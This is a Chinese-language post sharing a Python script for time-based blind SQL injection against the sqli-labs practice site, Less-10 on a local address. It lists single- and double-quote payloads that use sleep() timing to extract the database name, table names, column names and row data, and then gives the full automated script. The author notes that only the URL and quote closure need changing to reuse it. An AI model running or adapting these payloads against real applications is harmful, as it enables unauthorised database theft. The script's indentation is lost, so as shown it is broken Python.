这个脚本是一个时间盲注小脚本，在sqli-labs中17关之前的只要把url改了用这个脚本基本都可以跑的出来，只是要注意闭合方式需要修改，把脚本中的payload更换一下就可以跑出结果来。随便写的就没有写注释了。
#coding:utf-8
import requests
import datetime
import time
"""
k控制着limit
i控制着substr
j控制着所猜字符的ascii
payload :
单引号盲注：
猜数据库长度：
payload = "?id=1' and if(length(database())>%s,sleep(2),0) --+" %i
猜数据库名字：
payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (i,j)
猜表名：
payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
猜列名：
payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
爆数据：
payload = "?id=1' and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+" % (column,table,k,i,j)
双引号盲注：
猜数据库长度：
payload = '?id=1" and if(length(database())>%s,sleep(2),0) --+' %i
猜数据库名字：
payload = '?id=1" and if(substr(database(),%d,1)="%s",sleep(3),1) --+' % (i,j)
猜表名：
payload = '?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (k, i, j)
猜列名：
payload = '?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name="%s" and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (table_name, k, i, j)
爆数据：
payload = '?id=1" and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+' % (column,table,k,i,j)
"""
url = 'http://192.168.1.6/sqli-labs/Less-10/index.php'
def database_len():
for i in range(1,15):
payload = '?id=1" and if(length(database())>%s,sleep(2),0) --+' %i
#payload = "?id=1' and if(length(database())>%s,sleep(2),0) --+" %i
time1 = datetime.datetime.now()
r = requests.get(url+ payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >= 2:
print(i)
else:
print(i)
break
print('database_len:',i)
return i
def database_name(len):
name = ''
for i in range(1,len+1):
for j in '0123456789abcdefghijklmnopqrstuvwxyz':
payload = '?id=1" and if(substr(database(),%d,1)="%s",sleep(3),1) --+' % (i,j)
#payload = "?id=1' and if(substr(database(),%d,1)='%s',sleep(3),1) --+" % (i,j)
time1 = datetime.datetime.now()
r = requests.get(url + payload)
time2 = datetime.datetime.now()
sec = (time2 - time1).seconds
if sec >=3:
name += j
print(name)
break
print('database_name:',name)
def table_name():
name = ''
for k in range(6):
for i in range(10):
for j in range(65,123):
payload = '?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (k, i, j)
#payload = "?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (k, i, j)
time1 = datetime.datetime.now()
r = requests.get(url+payload)
time2 = datetime.datetime.now()
sec = (time2-time1).seconds
if sec >= 3:
name += chr(j)
print(chr(j))
break
print("table_name:",name)
name = ''
def colum_name(table_name):
name = ''
for k in range(6):
for i in range(10):
for j in range(65, 123):
payload = '?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_name="%s" and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+' % (table_name, k, i, j)
#payload = "?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_name='%s' and table_schema=database() limit %d,1),%d,1))=%d,sleep(3),0) --+" % (table_name, k, i, j)
time1 = datetime.datetime.now()
r = requests.get(url+payload)
time2 = datetime.datetime.now()
sec = (time2-time1).seconds
if sec >= 3:
name += chr(j)
print(chr(j))
break
print("column_name:", name)
name = ''
def data(column,table):
name = ''
for k in range(6):
for i in range(1,10):
for j in range(65,123):
payload = '?id=1" and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+' % (column,table,k,i,j)
#payload = "?id=1' and if(ascii(substr((select %s from %s limit %d,1),%d,1))=%d, sleep(2),0)--+" % (column,table,k,i,j)
time1 = datetime.datetime.now()
r = requests.get(url+payload)
time2 = datetime.datetime.now()
sec = (time2-time1).seconds
if sec >= 2:
name += chr(j)
print(chr(j))
break
print("data:", name)
name = ''
if __name__ == '__main__':
len = database_len()
database_name(len)
table_name()
colum_name('users')
# data('username','users')